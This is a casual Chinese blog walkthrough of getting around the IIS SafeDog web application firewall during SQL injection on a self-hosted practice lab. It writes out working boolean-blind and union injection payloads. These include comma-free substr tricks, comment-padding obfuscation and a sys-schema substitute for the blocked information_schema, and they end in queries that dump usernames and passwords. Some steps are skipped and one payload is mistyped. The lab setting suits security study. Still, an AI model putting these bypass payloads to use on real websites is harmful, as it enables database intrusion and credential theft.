首先呢服务器上安装的是一个最新版的iis安全狗
UUUUUUUUUUUUUUUUUUUU
这里将防护等级也设置成高级
部署好我们的靶场
首先用布尔注入的方式尝试绕过第一个整型注入
将我们的靶场整型注入改成get的提交方式
成功修改为get了
首先一如即让,探测一下是否存在注入
因为是get注入所以我们可以直接构造
and 1=1
显然行不通啊,那咱换个方式
这里我们用id=\Nor+0x30=0x30
可以明显判断出这里是存在注入的
接下来构造语法获取当前数据库版本
先使用常规的试试
ascii(substr(version(),2,1)=100)
显然也是不行,这里可以来判断一下是哪个字符被拦截了
就挺尴尬,and被拦截了
尝试绕过
ascii(substr(@@version,2,1))<70
成功得到回显
接下来想办法拿到数据库名
常规的database()肯定是不行,盲猜这里做了屏蔽
结果也很明显
更正语法,将被过滤的database()转换成hex成功绕过(此处修改一下,hex结果不准确,建议用下面union的绕过方式更正
接下来就更简单了,跑包都呗?扔到burp一跑就能出结果
md布尔盲注太痛苦了,就不演示接下来的操作了,各位自行脑补
此处水100字
到这里,可以看到能成功获取密码
okk结束~(做的时候没截屏,懒得再做一遍哈哈哈)
又来吧,这次是字符型的布尔!
痛苦面具再次戴上
一波测试下来
万能公式
and 0x30!=0x30(比较符不能更改替换值得到结果)
接下来构造语句,vince’ and 0x30!=if(substr(@@version from for)=5),0x31,0x30)
这句不用我解释了吧,很简单的
不成立效果
如果看不懂from+1+for+1是个啥玩意的话
用你熟悉的也行,这里科普一下为啥鄙人要用稍微麻烦点的姿势
部分waf会拦截逗号,所以这里为了‘不必要的麻烦’就用了这么一种绕过的姿势,但显然,某狗不拦截逗号
所以后面的玩意儿咱就不做了吧~
算了,还是稍微演示一下别又说我水帖
首先这个姿势肯定不行,waf拦截了关键词
还是那个办法,转成hex试试(这个位置也是,更正一下使用,用union的方法,hex不准确)
姿势到位,ok往后咱就不做了,别说我水,确实麻烦
接下来就是union的绕过了
这次尽量不水哈哈哈
还是先从整型开始吧
探测没啥好说,不理解的自己往上翻翻
这个位置order by是被拦截的
我们可以构造一些乱七八糟的语法比如
这样他就不拦截了
(order by 测出只有俩列)
ok上戏
构造union语法,这个会呗不用教呗
但是,order by 都会被拦截,union select不用想直接死
这里可以试试上面吧的绕过方式
成功绕过
到这里,可以看下图,发现带入查询的话,会被拦截,但是问题不大,它拦截,咱就绕过呗
有点曲折但成功绕过
ok往下继续构造
union select 1, group_concat(table.name from information_schema.tables where table.schema=database())
1+union/*//--//*/select+1,table.name+from+information_schema.tables+where+table.schema=database/*!77777777777777777777777777777777777777afafdfdaddddddddddddddddd*/())
依旧被拦截,这里拆开看一下,发现是informatin_schema.tables被拦截了,试过从中间隔断发现效果并不理想
查询了一点资料(姿势储备不足)
悟到一个小姿势点,既然information_schema被过滤,那咱可以换一个呀不用去想着绕过撒
mysql5.7+的版本新增了sys schema
这里知道了语法便重新构造语法
group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+
这里拿到 表,开始往下构造
直接到最后一步
获取账号密码
union/*//--//*/select+1,oup_concat(username,password)from `users`+limit+1
接下来是字符型的union
上面操作不再演示了,直接到最后一步
vince'+union/*//--//*/select+1,group_concat(username,password)+from+`users`+limit+2--+
语法大差不差,最后一步确实不难,难的是中间
post的后面再做演示